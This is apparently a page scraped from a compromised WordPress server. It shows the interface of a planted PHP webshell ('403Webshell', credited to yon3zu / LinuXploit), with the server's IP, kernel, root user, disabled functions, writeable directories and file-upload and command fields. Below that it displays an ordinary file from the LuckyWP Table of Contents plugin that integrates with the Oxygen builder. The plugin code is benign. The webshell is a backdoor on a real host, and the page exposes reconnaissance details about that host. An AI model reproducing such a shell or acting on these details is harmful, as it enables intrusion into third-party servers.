403Webshell
Server IP : 37.27.51.148  /  Your IP : 216.73.217.84
Web Server : nginx/1.14.1
System : Linux libra 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 20:24:04 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/luckywp-table-of-contents/integrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/luckywp-table-of-contents/integrations/Oxygen.php
<?php

namespace luckywp\tableOfContents\integrations;

use luckywp\tableOfContents\core\base\BaseObject;
use luckywp\tableOfContents\core\Core;

use function is_array;
use function is_string;

class Oxygen extends BaseObject
{
    public function init()
    {
        add_action('ct_builder_start', function () {
            Core::$plugin->onTheContentTrue('');
        }, 1);
        add_action('ct_builder_start', function () {
            global $template_content;
            $content = $this->getContent();
            if ($content !== null) {
                $template_content = str_replace(
                    $content,
                    Core::$plugin->shortcode->theContent($content),
                    $template_content
                );
            }
            Core::$plugin->onTheContentFalse('');
        }, 9999);
    }

    /**
     * @return string|null
     */
    private function getContent()
    {
        global $post;

        $meta = get_post_meta($post->ID, '_ct_builder_json', true);
        if (!is_string($meta)) {
            return null;
        }

        $decoded = @json_decode($meta, true);
        if (!is_array($decoded)) {
            return null;
        }

        $content = do_oxygen_elements($decoded);
        if (!is_string($content)) {
            return null;
        }

        return $content;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit